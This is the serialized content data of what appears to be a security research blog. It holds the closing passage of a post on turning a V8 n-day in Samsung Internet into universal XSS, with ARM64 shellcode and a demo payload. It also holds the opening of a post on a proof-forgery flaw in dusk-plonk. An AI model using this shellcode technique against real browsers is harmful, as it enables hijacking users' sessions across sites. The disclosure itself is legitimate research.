object containing our XSS payload as ",{"type":23,"tag":94,"props":140377,"children":140379},{"className":140378},[],[140380],{"type":28,"value":140314},{"type":28,"value":140382},", and the ",{"type":23,"tag":94,"props":140384,"children":140386},{"className":140385},[],[140387],{"type":28,"value":140388},"mode",{"type":28,"value":557},{"type":23,"tag":94,"props":140391,"children":140393},{"className":140392},[],[140394],{"type":28,"value":140395},"repl_mode",{"type":28,"value":140397}," values, which are simple enum literals.",{"type":23,"tag":24,"props":140399,"children":140400},{},[140401,140403,140408,140410,140416,140418,140423,140425,140430,140432,140438,140440,140446,140448,140453,140455,140460,140462,140467,140469,140474],{"type":28,"value":140402},"To obtain the ",{"type":23,"tag":94,"props":140404,"children":140406},{"className":140405},[],[140407],{"type":28,"value":139935},{"type":28,"value":140409}," pointer within our shellcode, we call ",{"type":23,"tag":94,"props":140411,"children":140413},{"className":140412},[],[140414],{"type":28,"value":140415},"Isolate::TryGetCurrent()",{"type":28,"value":140417},", which returns the current ",{"type":23,"tag":94,"props":140419,"children":140421},{"className":140420},[],[140422],{"type":28,"value":139935},{"type":28,"value":140424},". To construct a valid ",{"type":23,"tag":94,"props":140426,"children":140428},{"className":140427},[],[140429],{"type":28,"value":47176},{"type":28,"value":140431}," object holding our payload, we call ",{"type":23,"tag":94,"props":140433,"children":140435},{"className":140434},[],[140436],{"type":28,"value":140437},"v8::String::NewFromUTF8",{"type":28,"value":140439},". This ",{"type":23,"tag":94,"props":140441,"children":140443},{"className":140442},[],[140444],{"type":28,"value":140445},"NewFromUTF8",{"type":28,"value":140447}," function takes four arguments: the ",{"type":23,"tag":94,"props":140449,"children":140451},{"className":140450},[],[140452],{"type":28,"value":139935},{"type":28,"value":140454},", the string bytes as ",{"type":23,"tag":94,"props":140456,"children":140458},{"className":140457},[],[140459],{"type":28,"value":249},{"type":28,"value":140461},", an enum literal specifying the string type, and ",{"type":23,"tag":94,"props":140463,"children":140465},{"className":140464},[],[140466],{"type":28,"value":7756},{"type":28,"value":140468},", which is the size of the ",{"type":23,"tag":94,"props":140470,"children":140472},{"className":140471},[],[140473],{"type":28,"value":249},{"type":28,"value":16403},{"type":23,"tag":24,"props":140476,"children":140477},{},[140478],{"type":28,"value":140479},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":304,"props":140481,"children":140483},{"code":140482,"language":138771,"meta":7,"className":138772,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[140484],{"type":23,"tag":94,"props":140485,"children":140486},{"__ignoreMap":7},[140487,140495,140503,140511,140519,140527,140535,140543,140551,140559,140567,140575,140583,140590,140598,140606,140614,140622,140629,140637,140644,140652,140660,140667,140674,140681,140688,140695,140702,140710,140718,140725,140733,140741,140748,140756,140764,140771,140778,140786,140794,140802,140809,140817,140825,140833,140841,140849,140857,140865,140873,140881,140889,140897,140904,140912,140920,140927,140935,140943,140951,140959,140966,140974,140981,140988,140996,141004,141012,141020,141029,141038,141046],{"type":23,"tag":314,"props":140488,"children":140489},{"class":316,"line":317},[140490],{"type":23,"tag":314,"props":140491,"children":140492},{},[140493],{"type":28,"value":140494},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":314,"props":140496,"children":140497},{"class":316,"line":370},[140498],{"type":23,"tag":314,"props":140499,"children":140500},{},[140501],{"type":28,"value":140502},"movz x1, #0xf7a0\n",{"type":23,"tag":314,"props":140504,"children":140505},{"class":316,"line":380},[140506],{"type":23,"tag":314,"props":140507,"children":140508},{},[140509],{"type":28,"value":140510},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":314,"props":140512,"children":140513},{"class":316,"line":1091},[140514],{"type":23,"tag":314,"props":140515,"children":140516},{},[140517],{"type":28,"value":140518},"add x9, x12, x1\n",{"type":23,"tag":314,"props":140520,"children":140521},{"class":316,"line":1141},[140522],{"type":23,"tag":314,"props":140523,"children":140524},{},[140525],{"type":28,"value":140526},"movz x1, #0x5ac8\n",{"type":23,"tag":314,"props":140528,"children":140529},{"class":316,"line":1173},[140530],{"type":23,"tag":314,"props":140531,"children":140532},{},[140533],{"type":28,"value":140534},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":314,"props":140536,"children":140537},{"class":316,"line":1208},[140538],{"type":23,"tag":314,"props":140539,"children":140540},{},[140541],{"type":28,"value":140542},"add x0, x12, x1\n",{"type":23,"tag":314,"props":140544,"children":140545},{"class":316,"line":1216},[140546],{"type":23,"tag":314,"props":140547,"children":140548},{},[140549],{"type":28,"value":140550},"blr x9\n",{"type":23,"tag":314,"props":140552,"children":140553},{"class":316,"line":1301},[140554],{"type":23,"tag":314,"props":140555,"children":140556},{},[140557],{"type":28,"value":140558},"// *x0 is isolate pointer\n",{"type":23,"tag":314,"props":140560,"children":140561},{"class":316,"line":1343},[140562],{"type":23,"tag":314,"props":140563,"children":140564},{},[140565],{"type":28,"value":140566},"// store isolate ptr to stack\n",{"type":23,"tag":314,"props":140568,"children":140569},{"class":316,"line":1351},[140570],{"type":23,"tag":314,"props":140571,"children":140572},{},[140573],{"type":28,"value":140574},"ldr x13, [x0]\n",{"type":23,"tag":314,"props":140576,"children":140577},{"class":316,"line":1387},[140578],{"type":23,"tag":314,"props":140579,"children":140580},{},[140581],{"type":28,"value":140582},"str x13, [sp, #-16]!\n",{"type":23,"tag":314,"props":140584,"children":140585},{"class":316,"line":1422},[140586],{"type":23,"tag":314,"props":140587,"children":140588},{"emptyLinePlaceholder":18},[140589],{"type":28,"value":1088},{"type":23,"tag":314,"props":140591,"children":140592},{"class":316,"line":1430},[140593],{"type":23,"tag":314,"props":140594,"children":140595},{},[140596],{"type":28,"value":140597},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":314,"props":140599,"children":140600},{"class":316,"line":1452},[140601],{"type":23,"tag":314,"props":140602,"children":140603},{},[140604],{"type":28,"value":140605},"movz x1, #0x1140\n",{"type":23,"tag":314,"props":140607,"children":140608},{"class":316,"line":1497},[140609],{"type":23,"tag":314,"props":140610,"children":140611},{},[140612],{"type":28,"value":140613},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":314,"props":140615,"children":140616},{"class":316,"line":1539},[140617],{"type":23,"tag":314,"props":140618,"children":140619},{},[140620],{"type":28,"value":140621},"sub x10, x12, x1\n",{"type":23,"tag":314,"props":140623,"children":140624},{"class":316,"line":1548},[140625],{"type":23,"tag":314,"props":140626,"children":140627},{"emptyLinePlaceholder":18},[140628],{"type":28,"value":1088},{"type":23,"tag":314,"props":140630,"children":140631},{"class":316,"line":1584},[140632],{"type":23,"tag":314,"props":140633,"children":140634},{},[140635],{"type":28,"value":140636},"// mmap a RW page for our xss payload\n",{"type":23,"tag":314,"props":140638,"children":140639},{"class":316,"line":1617},[140640],{"type":23,"tag":314,"props":140641,"children":140642},{},[140643],{"type":28,"value":138987},{"type":23,"tag":314,"props":140645,"children":140646},{"class":316,"line":1625},[140647],{"type":23,"tag":314,"props":140648,"children":140649},{},[140650],{"type":28,"value":140651},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":314,"props":140653,"children":140654},{"class":316,"line":1660},[140655],{"type":23,"tag":314,"props":140656,"children":140657},{},[140658],{"type":28,"value":140659},"mov x2, #3\n",{"type":23,"tag":314,"props":140661,"children":140662},{"class":316,"line":1708},[140663],{"type":23,"tag":314,"props":140664,"children":140665},{},[140666],{"type":28,"value":139010},{"type":23,"tag":314,"props":140668,"children":140669},{"class":316,"line":1743},[140670],{"type":23,"tag":314,"props":140671,"children":140672},{},[140673],{"type":28,"value":139018},{"type":23,"tag":314,"props":140675,"children":140676},{"class":316,"line":1751},[140677],{"type":23,"tag":314,"props":140678,"children":140679},{},[140680],{"type":28,"value":139026},{"type":23,"tag":314,"props":140682,"children":140683},{"class":316,"line":1791},[140684],{"type":23,"tag":314,"props":140685,"children":140686},{},[140687],{"type":28,"value":139034},{"type":23,"tag":314,"props":140689,"children":140690},{"class":316,"line":1805},[140691],{"type":23,"tag":314,"props":140692,"children":140693},{},[140694],{"type":28,"value":138949},{"type":23,"tag":314,"props":140696,"children":140697},{"class":316,"line":1818},[140698],{"type":23,"tag":314,"props":140699,"children":140700},{"emptyLinePlaceholder":18},[140701],{"type":28,"value":1088},{"type":23,"tag":314,"props":140703,"children":140704},{"class":316,"line":1873},[140705],{"type":23,"tag":314,"props":140706,"children":140707},{},[140708],{"type":28,"value":140709},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":314,"props":140711,"children":140712},{"class":316,"line":1891},[140713],{"type":23,"tag":314,"props":140714,"children":140715},{},[140716],{"type":28,"value":140717},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":314,"props":140719,"children":140720},{"class":316,"line":1899},[140721],{"type":23,"tag":314,"props":140722,"children":140723},{"emptyLinePlaceholder":18},[140724],{"type":28,"value":1088},{"type":23,"tag":314,"props":140726,"children":140727},{"class":316,"line":1944},[140728],{"type":23,"tag":314,"props":140729,"children":140730},{},[140731],{"type":28,"value":140732},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":314,"props":140734,"children":140735},{"class":316,"line":2008},[140736],{"type":23,"tag":314,"props":140737,"children":140738},{},[140739],{"type":28,"value":140740},"mov x11, x0\n",{"type":23,"tag":314,"props":140742,"children":140743},{"class":316,"line":2043},[140744],{"type":23,"tag":314,"props":140745,"children":140746},{"emptyLinePlaceholder":18},[140747],{"type":28,"value":1088},{"type":23,"tag":314,"props":140749,"children":140750},{"class":316,"line":22803},[140751],{"type":23,"tag":314,"props":140752,"children":140753},{},[140754],{"type":28,"value":140755},"// pop back isolate pointer\n",{"type":23,"tag":314,"props":140757,"children":140758},{"class":316,"line":22845},[140759],{"type":23,"tag":314,"props":140760,"children":140761},{},[140762],{"type":28,"value":140763},"ldr x13, [sp], #16\n",{"type":23,"tag":314,"props":140765,"children":140766},{"class":316,"line":22878},[140767],{"type":23,"tag":314,"props":140768,"children":140769},{"emptyLinePlaceholder":18},[140770],{"type":28,"value":1088},{"type":23,"tag":314,"props":140772,"children":140773},{"class":316,"line":22886},[140774],{"type":23,"tag":314,"props":140775,"children":140776},{},[140777],{"type":28,"value":139070},{"type":23,"tag":314,"props":140779,"children":140780},{"class":316,"line":22894},[140781],{"type":23,"tag":314,"props":140782,"children":140783},{},[140784],{"type":28,"value":140785},"// x13 = isolate *\n",{"type":23,"tag":314,"props":140787,"children":140788},{"class":316,"line":22903},[140789],{"type":23,"tag":314,"props":140790,"children":140791},{},[140792],{"type":28,"value":140793},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":314,"props":140795,"children":140796},{"class":316,"line":22979},[140797],{"type":23,"tag":314,"props":140798,"children":140799},{},[140800],{"type":28,"value":140801},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":314,"props":140803,"children":140804},{"class":316,"line":23012},[140805],{"type":23,"tag":314,"props":140806,"children":140807},{"emptyLinePlaceholder":18},[140808],{"type":28,"value":1088},{"type":23,"tag":314,"props":140810,"children":140811},{"class":316,"line":23020},[140812],{"type":23,"tag":314,"props":140813,"children":140814},{},[140815],{"type":28,"value":140816},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":314,"props":140818,"children":140819},{"class":316,"line":23028},[140820],{"type":23,"tag":314,"props":140821,"children":140822},{},[140823],{"type":28,"value":140824},"// arg0 = isolate *\n",{"type":23,"tag":314,"props":140826,"children":140827},{"class":316,"line":23065},[140828],{"type":23,"tag":314,"props":140829,"children":140830},{},[140831],{"type":28,"value":140832},"mov x0, x13\n",{"type":23,"tag":314,"props":140834,"children":140835},{"class":316,"line":23078},[140836],{"type":23,"tag":314,"props":140837,"children":140838},{},[140839],{"type":28,"value":140840},"// arg1 = char *c_str\n",{"type":23,"tag":314,"props":140842,"children":140843},{"class":316,"line":23091},[140844],{"type":23,"tag":314,"props":140845,"children":140846},{},[140847],{"type":28,"value":140848},"mov x1, x11\n",{"type":23,"tag":314,"props":140850,"children":140851},{"class":316,"line":23104},[140852],{"type":23,"tag":314,"props":140853,"children":140854},{},[140855],{"type":28,"value":140856},"// arg2 = type = kNormal\n",{"type":23,"tag":314,"props":140858,"children":140859},{"class":316,"line":23158},[140860],{"type":23,"tag":314,"props":140861,"children":140862},{},[140863],{"type":28,"value":140864},"mov x2, #0\n",{"type":23,"tag":314,"props":140866,"children":140867},{"class":316,"line":23167},[140868],{"type":23,"tag":314,"props":140869,"children":140870},{},[140871],{"type":28,"value":140872},"// arg4 = length\n",{"type":23,"tag":314,"props":140874,"children":140875},{"class":316,"line":31528},[140876],{"type":23,"tag":314,"props":140877,"children":140878},{},[140879],{"type":28,"value":140880},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":314,"props":140882,"children":140883},{"class":316,"line":31549},[140884],{"type":23,"tag":314,"props":140885,"children":140886},{},[140887],{"type":28,"value":140888},"// call NewFromUTF8\n",{"type":23,"tag":314,"props":140890,"children":140891},{"class":316,"line":80203},[140892],{"type":23,"tag":314,"props":140893,"children":140894},{},[140895],{"type":28,"value":140896},"blr x10\n",{"type":23,"tag":314,"props":140898,"children":140899},{"class":316,"line":80216},[140900],{"type":23,"tag":314,"props":140901,"children":140902},{"emptyLinePlaceholder":18},[140903],{"type":28,"value":1088},{"type":23,"tag":314,"props":140905,"children":140906},{"class":316,"line":80224},[140907],{"type":23,"tag":314,"props":140908,"children":140909},{},[140910],{"type":28,"value":140911},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":314,"props":140913,"children":140914},{"class":316,"line":80232},[140915],{"type":23,"tag":314,"props":140916,"children":140917},{},[140918],{"type":28,"value":140919},"mov x14, x0\n",{"type":23,"tag":314,"props":140921,"children":140922},{"class":316,"line":80240},[140923],{"type":23,"tag":314,"props":140924,"children":140925},{"emptyLinePlaceholder":18},[140926],{"type":28,"value":1088},{"type":23,"tag":314,"props":140928,"children":140929},{"class":316,"line":80280},[140930],{"type":23,"tag":314,"props":140931,"children":140932},{},[140933],{"type":28,"value":140934},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":314,"props":140936,"children":140937},{"class":316,"line":80288},[140938],{"type":23,"tag":314,"props":140939,"children":140940},{},[140941],{"type":28,"value":140942},"movz x1, #0xe44c\n",{"type":23,"tag":314,"props":140944,"children":140945},{"class":316,"line":87475},[140946],{"type":23,"tag":314,"props":140947,"children":140948},{},[140949],{"type":28,"value":140950},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":314,"props":140952,"children":140953},{"class":316,"line":87483},[140954],{"type":23,"tag":314,"props":140955,"children":140956},{},[140957],{"type":28,"value":140958},"sub x9, x12, x1\n",{"type":23,"tag":314,"props":140960,"children":140961},{"class":316,"line":100829},[140962],{"type":23,"tag":314,"props":140963,"children":140964},{"emptyLinePlaceholder":18},[140965],{"type":28,"value":1088},{"type":23,"tag":314,"props":140967,"children":140968},{"class":316,"line":100837},[140969],{"type":23,"tag":314,"props":140970,"children":140971},{},[140972],{"type":28,"value":140973},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":314,"props":140975,"children":140976},{"class":316,"line":100845},[140977],{"type":23,"tag":314,"props":140978,"children":140979},{},[140980],{"type":28,"value":140824},{"type":23,"tag":314,"props":140982,"children":140983},{"class":316,"line":100853},[140984],{"type":23,"tag":314,"props":140985,"children":140986},{},[140987],{"type":28,"value":140832},{"type":23,"tag":314,"props":140989,"children":140990},{"class":316,"line":100881},[140991],{"type":23,"tag":314,"props":140992,"children":140993},{},[140994],{"type":28,"value":140995},"// arg1 = String *source\n",{"type":23,"tag":314,"props":140997,"children":140998},{"class":316,"line":103652},[140999],{"type":23,"tag":314,"props":141000,"children":141001},{},[141002],{"type":28,"value":141003},"mov x1, x14\n",{"type":23,"tag":314,"props":141005,"children":141006},{"class":316,"line":103660},[141007],{"type":23,"tag":314,"props":141008,"children":141009},{},[141010],{"type":28,"value":141011},"// arg2 = mode = kDefault\n",{"type":23,"tag":314,"props":141013,"children":141015},{"class":316,"line":141014},69,[141016],{"type":23,"tag":314,"props":141017,"children":141018},{},[141019],{"type":28,"value":140864},{"type":23,"tag":314,"props":141021,"children":141023},{"class":316,"line":141022},70,[141024],{"type":23,"tag":314,"props":141025,"children":141026},{},[141027],{"type":28,"value":141028},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":314,"props":141030,"children":141032},{"class":316,"line":141031},71,[141033],{"type":23,"tag":314,"props":141034,"children":141035},{},[141036],{"type":28,"value":141037},"mov x3, #0\n",{"type":23,"tag":314,"props":141039,"children":141041},{"class":316,"line":141040},72,[141042],{"type":23,"tag":314,"props":141043,"children":141044},{"emptyLinePlaceholder":18},[141045],{"type":28,"value":1088},{"type":23,"tag":314,"props":141047,"children":141049},{"class":316,"line":141048},73,[141050],{"type":23,"tag":314,"props":141051,"children":141052},{},[141053],{"type":28,"value":140550},{"type":23,"tag":837,"props":141055,"children":141057},{"id":141056},"uxss-demo",[141058],{"type":28,"value":141059},"UXSS Demo",{"type":23,"tag":24,"props":141061,"children":141062},{},[141063,141065,141071],{"type":28,"value":141064},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":94,"props":141066,"children":141068},{"className":141067},[],[141069],{"type":28,"value":141070},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":28,"value":282},{"type":23,"tag":131108,"props":141073,"children":141076},{"className":141074,"controls":18},[141075],"blog-video-responsive",[141077,141079,141083],{"type":28,"value":141078},"\n ",{"type":23,"tag":140314,"props":141080,"children":141082},{"src":141081,"type":131106},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":28,"value":141084},"\n Your browser does not support the video tag.\n",{"type":23,"tag":61,"props":141086,"children":141087},{"id":28180},[141088],{"type":28,"value":18185},{"type":23,"tag":24,"props":141090,"children":141091},{},[141092],{"type":28,"value":141093},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":23,"tag":24,"props":141095,"children":141096},{},[141097],{"type":28,"value":141098},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":2096,"props":141100,"children":141101},{},[141102],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":141104},[141105,141109,141112,141122],{"id":28263,"depth":370,"text":28266,"children":141106},[141107,141108],{"id":131242,"depth":380,"text":131245},{"id":131325,"depth":380,"text":131328},{"id":131358,"depth":370,"text":131361,"children":141110},[141111],{"id":131499,"depth":380,"text":131353},{"id":131643,"depth":370,"text":131646,"children":141113},[141114,141115,141116,141117,141118,141119,141120,141121],{"id":131649,"depth":380,"text":131652},{"id":132106,"depth":380,"text":132109},{"id":132289,"depth":380,"text":132292},{"id":132400,"depth":380,"text":132403},{"id":132677,"depth":380,"text":132680},{"id":135387,"depth":380,"text":135390},{"id":138668,"depth":380,"text":138671},{"id":141056,"depth":380,"text":141059},{"id":28180,"depth":370,"text":18185},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":141127,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":141128,"description":141129,"date":141130,"author":141131,"image":141132,"isFeatured":18,"onBlogPage":18,"tags":141134,"body":141137,"_type":2117,"_id":146401,"_source":2119,"_file":146402,"_stem":146403,"_extension":2122},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[107090,107091],{"src":141133,"width":96520,"height":12871},"/posts/dusk-commitment-issues/title.png",[141135,141136],"dusk","plonk",{"type":20,"children":141138,"toc":146381},[141139,141145,141186,141198,141204,141218,141223,141229,141520,141524,141796,142026,142032,142717,142721,143216,143224,143230,143249,143254,143260,143485,143524,143535,143541,143552,144260,144265,144268,144274,144327,144362,144394,144399,144403,144406,144412,144423,144436,144467,144534,144542,144564,144577,145004,145027,145032,145035,145040,145067,145163,145174,145221,145259,145270,145608,145625,145633,145636,145642,145647,145681,145689,145770,145773,145779,145793,145811,145816,145856,145864,145885,145888,145894,145899,145964,145978,145981,145987,146027,146038,146043,146048,146054,146068,146149,146170,146197,146200,146206,146220,146225,146230,146235,146370,146376],{"type":23,"tag":54,"props":141140,"children":141142},{"id":141141},"commitment-issues-unverified-evaluations-in-dusks-plonk",[141143],{"type":28,"value":141144},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":24,"props":141146,"children":141147},{},[141148,141150,141157,141159,141166,141168,141175,141177,141184],{"type":28,"value":141149},"We found a critical soundness vulnerability in ",{"type":23,"tag":31,"props":141151,"children":141154},{"href":141152,"rel":141153},"https://github.com/dusk-network/plonk/",[35],[141155],{"type":28,"value":141156},"dusk-plonk",{"type":28,"value":141158},", the PLONK implementation powering ",{"type":23,"tag":31,"props":141160,"children":141163},{"href":141161,"rel":141162},"https://dusk.network/",[35],[141164],{"type":28,"value":141165},"Dusk Network's",{"type":28,"value":141167}," ~$60M ",{"type":23,"tag":31,"props":141169,"children":141172},{"href":141170,"rel":141171},"https://www.coingecko.com/en/coins/dusk",[35],[141173],{"type":28,"value":141174},"market cap",{"type":28,"value":141176},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":31,"props":141178,"children":141181},{"href":141179,"rel":141180},"https://github.com/dusk-network/rusk",[35],[141182],{"type":28,"value":141183},"Rusk",{"type":28,"value":141185}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":24,"props":141187,"children":141188},{},[141189,141191,141196],{"type":28,"value":141190},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":721,"props":141192,"children":141193},{},[141194],{"type":28,"value":141195},"without ever validating them against the trusted commitments in the verifier key.",{"type":28,"value":141197}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":61,"props":141199,"children":141201},{"id":141200},"how-plonk-works-briefly",[141202],{"type":28,"value":141203},"How PLONK works (briefly)",{"type":23,"tag":24,"props":141205,"children":141206},{},[141207,141209,141216],{"type":28,"value":141208},"For a rigorous treatment see the ",{"type":23,"tag":31,"props":141210,"children":141213},{"href":141211,"rel":141212},"https://eprint.iacr.org/2019/953",[35],[141214],{"type":28,"value":141215},"original paper",{"type":28,"value":141217},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":24,"props":141219,"children":141220},{},[141221],{"type":28,"value":141222},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":837,"props":141224,"children":141226},{"id":141225},"arithmetic-circuits-and-constraints",[141227],{"type":28,"value":141228},"Arithmetic circuits and constraints",{"type":23,"tag":24,"props":141230,"children":141231},{},[141232,141234,141283,141285,141434,141436,141519],{"type":28,"value":141233},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":94,"props":141235,"children":141237},{"className":141236},[3237,3238],[141238],{"type":23,"tag":314,"props":141239,"children":141241},{"className":141240},[3243],[141242],{"type":23,"tag":314,"props":141243,"children":141245},{"className":141244,"ariaHidden":1481},[3248],[141246],{"type":23,"tag":314,"props":141247,"children":141249},{"className":141248},[3253],[141250,141254,141259,141264,141269,141273,141278],{"type":23,"tag":314,"props":141251,"children":141253},{"className":141252,"style":3365},[3258],[],{"type":23,"tag":314,"props":141255,"children":141257},{"className":141256},[20954],[141258],{"type":28,"value":341},{"type":23,"tag":314,"props":141260,"children":141262},{"className":141261},[3264,20825],[141263],{"type":28,"value":18514},{"type":23,"tag":314,"props":141265,"children":141267},{"className":141266},[3376],[141268],{"type":28,"value":3379},{"type":23,"tag":314,"props":141270,"children":141272},{"className":141271,"style":3383},[3344],[],{"type":23,"tag":314,"props":141274,"children":141276},{"className":141275,"style":92785},[3264,20825],[141277],{"type":28,"value":2369},{"type":23,"tag":314,"props":141279,"children":141281},{"className":141280},[20976],[141282],{"type":28,"value":431},{"type":28,"value":141284}," on an elliptic curve, by e.g proving that ",{"type":23,"tag":94,"props":141286,"children":141288},{"className":141287},[3237,3238],[141289],{"type":23,"tag":314,"props":141290,"children":141292},{"className":141291},[3243],[141293],{"type":23,"tag":314,"props":141294,"children":141296},{"className":141295,"ariaHidden":1481},[3248],[141297,141359,141421],{"type":23,"tag":314,"props":141298,"children":141300},{"className":141299},[3253],[141301,141305,141346,141350,141355],{"type":23,"tag":314,"props":141302,"children":141304},{"className":141303,"style":122636},[3258],[],{"type":23,"tag":314,"props":141306,"children":141308},{"className":141307},[3264],[141309,141314],{"type":23,"tag":314,"props":141310,"children":141312},{"className":141311,"style":92785},[3264,20825],[141313],{"type":28,"value":2369},{"type":23,"tag":314,"props":141315,"children":141317},{"className":141316},[3280],[141318],{"type":23,"tag":314,"props":141319,"children":141321},{"className":141320},[3285],[141322],{"type":23,"tag":314,"props":141323,"children":141325},{"className":141324},[3290],[141326],{"type":23,"tag":314,"props":141327,"children":141329},{"className":141328,"style":3259},[3295],[141330],{"type":23,"tag":314,"props":141331,"children":141332},{"style":3299},[141333,141337],{"type":23,"tag":314,"props":141334,"children":141336},{"className":141335,"style":3305},[3304],[],{"type":23,"tag":314,"props":141338,"children":141340},{"className":141339},[3310,3311,3312,3313],[141341],{"type":23,"tag":314,"props":141342,"children":141344},{"className":141343},[3264,3313],[141345],{"type":28,"value":2378},{"type":23,"tag":314,"props":141347,"children":141349},{"className":141348,"style":3442},[3344],[],{"type":23,"tag":314,"props":141351,"children":141353},{"className":141352},[3447],[141354],{"type":28,"value":1102},{"type":23,"tag":314,"props":141356,"children":141358},{"className":141357,"style":3442},[3344],[],{"type":23,"tag":314,"props":141360,"children":141362},{"className":141361},[3253],[141363,141367,141408,141412,141417],{"type":23,"tag":314,"props":141364,"children":141366},{"className":141365,"style":122511},[3258],[],{"type":23,"tag":314,"props":141368,"children":141370},{"className":141369},[3264],[141371,141376],{"type":23,"tag":314,"props":141372,"children":141374},{"className":141373},[3264,20825],[141375],{"type":28,"value":18514},{"type":23,"tag":314,"props":141377,"children":141379},{"className":141378},[3280],[141380],{"type":23,"tag":314,"props":141381,"children":141383},{"className":141382},[3285],[141384],{"type":23,"tag":314,"props":141385,"children":141387},{"className":141386},[3290],[141388],{"type":23,"tag":314,"props":141389,"children":141391},{"className":141390,"style":3259},[3295],[141392],{"type":23,"tag":314,"props":141393,"children":141394},{"style":3299},[141395,141399],{"type":23,"tag":314,"props":141396,"children":141398},{"className":141397,"style":3305},[3304],[],{"type":23,"tag":314,"props":141400,"children":141402},{"className":141401},[3310,3311,3312,3313],[141403],{"type":23,"tag":314,"props":141404,"children":141406},{"className":141405},[3264,3313],[141407],{"type":28,"value":16535},{"type":23,"tag":314,"props":141409,"children":141411},{"className":141410,"style":3345},[3344],[],{"type":23,"tag":314,"props":141413,"children":141415},{"className":141414},[3350],[141416],{"type":28,"value":1130},{"type":23,"tag":314,"props":141418,"children":141420},{"className":141419,"style":3345},[3344],[],{"type":23,"tag":314,"props":141422,"children":141424},{"className":141423},[3253],[141425,141429],{"type":23,"tag":314,"props":141426,"children":141428},{"className":141427,"style":93330},[3258],[],{"type":23,"tag":314,"props":141430,"children":141432},{"className":141431},[3264],[141433],{"type":28,"value":53922},{"type":28,"value":141435},", here in 